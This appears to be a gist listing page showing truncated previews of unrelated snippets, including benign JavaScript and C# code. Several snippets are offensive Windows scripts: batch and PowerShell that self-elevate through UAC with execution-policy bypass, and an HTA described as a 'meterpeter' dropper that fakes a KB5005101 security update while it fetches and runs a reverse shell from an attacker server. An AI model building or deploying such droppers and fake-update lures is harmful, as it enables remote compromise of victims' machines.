This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| <!DOCTYPE html> | |
| <html> | |
| <head> | |
| <HTA:APPLICATION ID="CS" | |
| APPLICATIONNAME="Test" | |
| WINDOWSTATE="minimize" | |
| MAXIMIZEBUTTON="no" | |
| MINIMIZEBUTTON="no" | |
| CAPTION="no" | |
| SHOWINTASKBAR="no"> |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| :: Author: @r00t-3xp10it (ssa) | |
| :: self_elevating_BAT_script - v1.0.1 | |
| :: Requirements: process LanmanServer (server) | |
| @echo off | |
| :: Sc query checks if 'lanmanserver' (net session) its running. | |
| sc query "lanmanserver"|find "RUNNING" >nul | |
| if %ERRORLEVEL% EQU 0 ( | |
| :: Net session API checks if we are running in an elevated context | |
| :: If not then uses powershell -verb runas to relaunch batch (UAC) |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| // https://codesandbox.io/s/bit-string-compression-zydb3?file=/src/App.js | |
| const name = 'test_example' | |
| const width = 48 | |
| const height = 48 | |
| const arr = [ | |
| 0xffffff000000, | |
| 0x8000017ffffe, | |
| 0xbffffd400002, | |
| 0xa00005400002, |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| Add-Type -AssemblyName System.Windows.Forms | |
| [System.Windows.Forms.Application]::EnableVisualStyles() | |
| $ErrorActionPreference = 'SilentlyContinue' | |
| $wshell = New-Object -ComObject Wscript.Shell | |
| $Button = [System.Windows.MessageBoxButton]::YesNoCancel | |
| $ErrorIco = [System.Windows.MessageBoxImage]::Error | |
| If (!([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole]'Administrator')) { | |
| Start-Process powershell.exe "-NoProfile -ExecutionPolicy Bypass -File `"$PSCommandPath`"" -Verb RunAs | |
| Exit |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| <!-- | |
| Hta_Version: 1.0.1 | |
| Author: @r00t-3xp10it (ssa) | |
| Application: meterpeter v2.10.10 dropper | |
| .DESCRIPTION | |
| This HTA changes PS 'ExecutionPolicy' to 'UnRestricted', presents a msgbox | |
| pretending to be a security KB5005101 21H1 update, while downloads\executes | |
| meterpeter client.ps1 (rev_tcp_shell) in background from attacker werbserver. |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| public void dataGridView_FEPADMS_CellMouseClick (object sender, DataGridViewCellMouseEventArgs e) | |
| { | |
| try | |
| { | |
| if (dataGridView_FEPADMS.RowCount > 0) | |
| { | |
| EVENTLOG(Convert.ToString("CLICK"),"dataGridView_FEPADMS_CellMouseClick Anzeige", e.ToString(), "DOKUMENTE",dataGridView_FEPADMS.RowCount); |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| // Tools like rails' inflector | |
| const camelizeFromArray = arr => | |
| arr.map((w, idx) => w.replace(/./, m => (idx === 0 ? m.toLowerCase() : m.toUpperCase()))).join(''); | |
| const constizeFromArray = arr => arr.map((w, idx) => w.replace(/./, m => m.toUpperCase())).join(''); | |
| const arrayFromKebab = (text, separator = '-') => text.split(separator); | |
| const camelizeFromKebab = (text, separator = '-') => camelizeFromArray(text.split(separator)); |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| <# | |
| .SYNOPSIS | |
| Spawn GUI dialog that sellects\open directorys | |
| Author: r00t-3xp10it | |
| Tested Under: Windows 10 (19042) x64 bits | |
| Required Dependencies: none | |
| Optional Dependencies: none | |
| PS cmdlet Dev version: v1.0.1 | |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| <html> | |
| <head> | |
| <title>HTA a href sub calling</title> | |
| <HTA:APPLICATION | |
| APPLICATIONNAME="HTA a href sub calling" | |
| ID="hta_utility" | |
| border = "thin" | |
| borderStyle = "tool" | |
| caption = "yes" | |
| contextMenu = "yes" |